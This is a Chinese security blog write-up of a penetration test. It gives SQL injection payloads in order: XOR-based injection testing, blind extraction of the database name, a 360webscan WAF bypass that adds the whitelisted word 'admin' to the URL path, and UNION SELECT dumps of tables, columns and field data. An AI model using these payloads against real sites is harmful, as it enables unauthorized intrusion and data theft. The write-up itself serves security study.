记一次对WebScan的Bypass

*本文作者:GGyao6,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。

PS:此网站漏洞已被处理,本文内容仅供技术交流,严禁用于非法用途。

前言

今天测试了一个网站,发现存在360webscan的拦截,于是便开始了一波“bypass”。

进入主题

1. 判断注入点

使用“and 1=1”测试了一下,惨遭拦截。随后又测试了一下or也是被拦截的。

但是按位异或运算(^)未被拦截也可以使用xor。

“按位异或运算”测试:

在这里先介绍下“按位异或运算”,这种测试注入点的方法最开始是看一位大佬发过,原谅我已经找不到这位大佬的文章了。但是这位大佬并未解释使用这种方法的具体原理是什么,下面我给大家简单介绍一下按位异或运算使用的基本规则:

1^1=01^0=10^0=0

具体原理参考:https://blog.csdn.net/zpy1998zpy/article/details/80667775

栗子:

在这里我们对我们的网站进行测试:

页面正常payload:xxxnid=216^(1=1)^1

3. 使用“按位异或运算”判断一下当前数据库名称的长度:

Payload:xxxnid=216^(1=(if(1=(length(database())=1 ),1,0)))^1

然后我们打开bp,将抓取到的数据包发送到intruder模块,然后把数据库长度值设置为变量。

payload type设置为numbers遍历1-15这15个数字。

最终我们得到数据库字段的长度为13。

4. 使用“按位异或运算”结合盲注来获取数据库名称:

这里我们使用的是regexp正则注入,简单介绍一下:

用法:select user() regexp ‘^[a-z]’;

这里是在匹配用户名的第一位:

继续匹配第二位的用法:select user() regexp ‘^r[a-z]’;

类似的盲注方法还有like匹配注入、left()函数、mid()函数、substr()函数等等。

构造Payload:xxxnid=216^(1=if(((database())regexp '^a ' ),1,0))^1

在这里我们将从数据库的第一个字段开始进行盲注。

这里我们使用字典来爆破字段名称,我们指定的字典内容包括常用的大小写字母、特殊符号、数字等。在这里的时候我遇到了个坑,我使用的字典里没加入数字,但是数据库名称里包含数字,导致我爆破到第三个参数的时候就没有结果了,最后发现字典里没把数字加进去,真的是贼菜。

爆破出数据库的第一个参数是“p”。

依次爆破,最终我们得到了数据库名称。

5. 接下来就是构造获取表名的payload了。

我们使用left()函数进行构造,先来看一个的栗子:

select left((select table_name frominformation_schema.tables where table_schema='test' limit 0,1),1)='u';

由此我们可以构造payload为:

xxxnid=216^(1=left((select table_namefrom information_schema.tables where table_schema=database() limit0,1),1)='u')^1

事情并不是一帆风顺的,360webscan再次拦截,经测试,拦截的是from关键字,这就很难受了,测试了很多方法都没有绕过过滤,内联注释、编码、干扰正则等方法都没办法。

将from加上别的字符就不拦截。。

6. 最后还是找到了“楼兰”大佬帮忙。

大佬告诉我,360的webscan是可以绕过的,原来360webscan自己有定义一个白名单,只要URL路径中出现了admin等关键字时候就能绕过检测。

后来大佬又给我推荐了一篇文章,讲的是绕过360webscan的原理,这篇文章讲的真好,附上文章链接:https://www.leavesongs.com/penetration/360webscan-bypass.html。后来我在网上一搜,原来已经有不少前辈研究过这个绕过方法啦,需要学习的东西真的很多,加油!

最后自己也去看了一下360webscan的源码,白名单如下:(代码地址:https://github.com/baiqj/host_manager/tree/master/other/360safe)

再次构造payload:xxx/xxx/admin /?nid=216 union select 1,2,3,4,5,6,7,8 -- -

7. 接下来就好说了,都是常规操作了

这里我们先看一下当前数据库名称,可以看到,和我们之前盲注得到的数据库名称是一致的。

Payload:xxx/xxx/admin/?nid=1union select database(),2,3,4,5,6,7,8 -- -

接下来是爆出所有的表名:

Payload:xxx/xxx/admin/?nid=1 unionselect group_concat(table_name),2,3,4,5,6,7,8 from information_schema.tableswhere table_schema=database() -- -

爆出所有字段名称:

Payload:xxx/xxx/admin/?nid=1union select group_concat(column_name),2,3,4,5,6,7,8 frominformation_schema.columns where table_name='表名' -- -

爆字段内容:

Payload:xxx/xxx/admin/?nid=1union select group_concat(字段1),group_concat(字段2),3,4,5,6,7,8 from 表名 -- -

总结

1. 使用“按位异或运算”来判断注入点,绕过一些过滤了and、or等一些关键字的waf,真的是非常不错的姿势。 2. 我们在一个页面找不到可显字段的时候,可以换几个页面试一下,也可以将前面参数id值改为负,这样都可以让可显字段回显到页面上。 3. 最后一点,就是最后通过在路径中添加白名单关键字“admin”绕过网站的防护,这个思路真的非常棒。

*本文作者:GGyao6,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。

原文发布于微信公众号 - FreeBuf(freebuf)

原文发表时间:2018-11-01

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏用户2442861的专栏

gcc和g++的区别

gcc 最开始的时候是 GNU C Compiler, 如你所知,就是一个c编译器。但是后来因为这个项目里边集成了更多其他不同语言的编译器,GCC就代表 the...

3991
来自专栏为数不多的Android技巧

我为Dexposed续一秒——论ART上运行时 Method AOP实现

两年前阿里开源了Dexposed 项目,它能够在Dalvik上无侵入地实现运行时方法拦截,正如其介绍「enable ‘god’ mode for single ...

2312
来自专栏大内老A

WCF技术剖析之二十二: 深入剖析WCF底层异常处理框架实现原理[上篇]

对于上一篇文章 (WCF基本异常处理模式:[上篇]、[中篇]、[下篇]),主要是站在最终开发者的角度对WCF关于异常处理编程模式进行了介绍,接下来,我们需要将我...

1979
来自专栏北京马哥教育

shell十三问,为linux学习打基础(二)

本文整理并转自CU上的帖子[学习共享] shell 十三問?,此贴是2003年发表的,但却是相当不错的linux基础知识汇集贴,原帖主使用的台湾风格,本文加以简...

3834
来自专栏Python入门

你还在为Python中文乱码而感到烦恼?今天老司机给你讲讲!

有没有遇到过这样的问题,读取文件被提示“UnicodeDecodeError”、爬取网页得到一堆乱码,其实这些都是编码惹的祸,如果不能真正理解编码的问题所在,就...

1463
来自专栏Pythonista

Python之路,Day1 - Python基础1

python的创始人为吉多·范罗苏姆(Guido van Rossum)。1989年的圣诞节期间,吉多·范罗苏姆为了在阿姆斯特丹打发时间,决心开发一个新的脚本解...

1675
来自专栏Java3y

【Java】几道让你拿offer的面试题

之前在刷博客的时候,发现一些写得比较好的博客都会默默收藏起来。最近在查阅补漏,有的知识点比较重要的,但是在之前的博客中还没有写到,于是趁着闲整理一下。

3080
来自专栏Java架构

Java 异常进阶Java异常简介天使变恶魔无处不在的throws手足无措的API使用者疲于应付的API用户正确地使用Checked Exception

1496
来自专栏程序猿DD

IntelliJ IDEA 复杂的重构技巧(二)

本文作者:ice1000 原文链接:http://ice1000.org/2017/12/25/IDEARefactoring2/ 上次我说了一些 “复杂的重...

2405
来自专栏编程

C语言嵌入式系统编程修炼之性能优化

这是我13年前创作和发表在互联网上的文章,这么多年过去了,这篇文章仍然在到处传播。现在贴回Linuxer公众号。 全文目录: C语言嵌入式系统编程修炼之道——背...

2257

扫码关注云+社区